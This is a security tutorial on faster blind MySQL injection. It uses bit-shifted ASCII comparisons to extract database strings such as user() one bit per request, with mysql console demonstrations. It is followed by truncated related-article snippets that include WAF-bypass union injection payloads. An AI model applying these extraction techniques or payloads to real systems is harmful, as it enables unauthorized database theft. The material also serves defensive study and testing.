Faster Blind MySQL Injection Using Bit Shifting

###
# http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version
#    Made by Jelmer de Hen
#       H.ackAck.net
#####

While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:

mysql> select ascii(b‘00000010‘);
+--------------------+
| ascii(b‘00000010‘) |
+--------------------+
|                  2 |
+--------------------+
1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b‘00000010‘) >> 1;
+-------------------------+
| ascii(b‘00000010‘) >> 1 |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.
00000010      = 2
00000010 >> 1 = 00000001
        ^      ^
        0      shifted

So let‘s say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it‘s on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it‘s most of the times guessing or splitting it in half again.

Let‘s see if we can beat that technique by optimizing this - but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it‘s decimal value as you have seen before:

mysql> select ascii(‘a‘);
+------------+
| ascii(‘a‘) |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)

This will give a nice int which can be used as binary.

a = 01100001

If we would left shift this character 7 locations to the right you would get:

00000000

The first 7 bits are being added by the shift, the last character remains which is 0.

mysql> select ascii(‘a‘) >> 7;
+-----------------+
| ascii(‘a‘) >> 7 |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

a = 01100001

01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

mysql> select (ascii(‘a‘) >> 7)=0;
+---------------------+
| (ascii(‘a‘) >> 7)=0 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.
Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

mysql> select (ascii(‘a‘) >> 6)=0;
+---------------------+
| (ascii(‘a‘) >> 6)=0 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

This time it‘s not true so we know the first 2 bits of our character is "01".
If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

mysql> select (ascii(‘a‘) >> 5)=2;
+---------------------+
| (ascii(‘a‘) >> 5)=2 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

It is not true that it is 2 so now we can conclude it is "011".
The next possible options are:
0110 = 6
0111 = 7

mysql> select (ascii(‘a‘) >> 4)=6;
+---------------------+
| (ascii(‘a‘) >> 4)=6 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

We got "0110" now and looking at the table for a above here you can see this actually is true.
Let‘s try this on a string we actually don‘t know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

We now know that the first bit is set to 0.
0???????

The next possible options are 0 and 1 again so we compare it with 0.

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

Now we know the second bit is set to 1.
01??????

Possible next options are:
010 = 2
011 = 3

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

Third bit is set to 1.
011?????

Next options:
0110 = 6
0111 = 7

mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

This bit is also set.
0111????

Next options:
01110 = 14
01111 = 15

mysql> select (ascii((substr(user(),1,1))) >> 3)=14;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 3)=14 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

01110???

Options:
011100 = 28
011101 = 29

mysql> select (ascii((substr(user(),1,1))) >> 2)=28;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 2)=28 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

011100??

Options:
0111000 = 56
0111001 = 57

mysql> select (ascii((substr(user(),1,1))) >> 1)=56;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 1)=56 |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (0.00 sec)

0111001?
Options:
01110010 = 114
01110011 = 115

mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

Alright, so the binary representation of the character is:
01110010

Converting it back gives us:

mysql> select b‘01110010‘;
+-------------+
| b‘01110010‘ |
+-------------+
| r           |
+-------------+
1 row in set (0.00 sec)

So the first character of user() is "r".

With this technique we can assure that we have the character in 8 requests.

Further optimizing this technique can be done.
The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.

Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.

时间: 2024-11-05 22:40:23

Faster Blind MySQL Injection Using Bit Shifting的相关文章

False SQL Injection and Advanced Blind SQL Injection

###################################################################### Exploit Title: False SQL injection and advanced blind SQL injection  ## Date: 21/12/2011              ## Author: wh1ant              ## Company: trinitysoft              ## Group:

Natas Wargame Level 17 Writeup(Time-based Blind SQL Injection)

sourcecode核心代码: 1 <? 2 3 /* 4 CREATE TABLE `users` ( 5 `username` varchar(64) DEFAULT NULL, 6 `password` varchar(64) DEFAULT NULL 7 ); 8 */ 9 10 if(array_key_exists("username", $_REQUEST)) { 11 $link = mysql_connect('localhost', 'natas17', '&

MySQL注入

SQL Injection Tutorial by Marezzi (MySQL) SQL注入教程由Marezzi(MySQL的) In this tutorial i will describe how sql injection works and how to在本教程中,我将介绍如何SQL注入工程和如何use it to get some useful information.用它来获取一些有用的信息. First of all: What is SQL injection?首先:什么是S

Sql Injection 资料整理

注入类型 Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Time-based blind SQL injection(基于时间延迟注入) 数据库类型 -A:Access - M:MySQL- S:SQL Server- P:PostgreSQL-

通用的关于sql注入的绕过技巧(利用mysql的特性)

1 直接上语法   2 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0  3 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0  4 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0  5 因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个

SQL injection

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1] SQL injection must exploit

MySQL机sqlserver注射和php注入

最近在学习MySQL和sqlserver数据库,由于我的专业是信息安全,所以把web安全涉及到的注入全部总结了一下,里面涉及到内容比较多.希望想学习的提前要对这两种数据库有一定了解,才能更好的学习盲注. 1)database(),version(),user() union联合查询,因为只有版本大于4.0,才会支持union查询 .并且只有两个表列数相同时,才会返会正确的表. 有一个information_schema数据库,库里面有一个 http://www.a.com/cms/new.php

[WeChall] Training: MySQL I (MySQL, Exploit, Training)

Training: MySQL I (MySQL, Exploit, Training) MySQL Authentication Bypass - The classic This one is the classic mysql injection challenge. Your mission is easy: Login yourself as admin. Again you are given the sourcecode, also as highlighted version.

Webgoat之Injection Flaws

Command Injection 这一节讲的是命令注入攻击.该攻击对任何一个以参数驱动的站点来说都是一个严重威胁.如下图所示: 该页面就是一个选择所需查看的文档,然后下方显示文档内容的页面.其存在的漏洞就是后台可以执行用户输入的命令,当我们拦截之后,修改参数如下:可以看到把我们服务器所开端口情况全部显示出来了: Blind SQL Injection 这一节主要讲盲注入,某些SQL注入是没有明确返回信息的,只能通过条件的"真"和"假"进行判断.攻击者必须充分利用查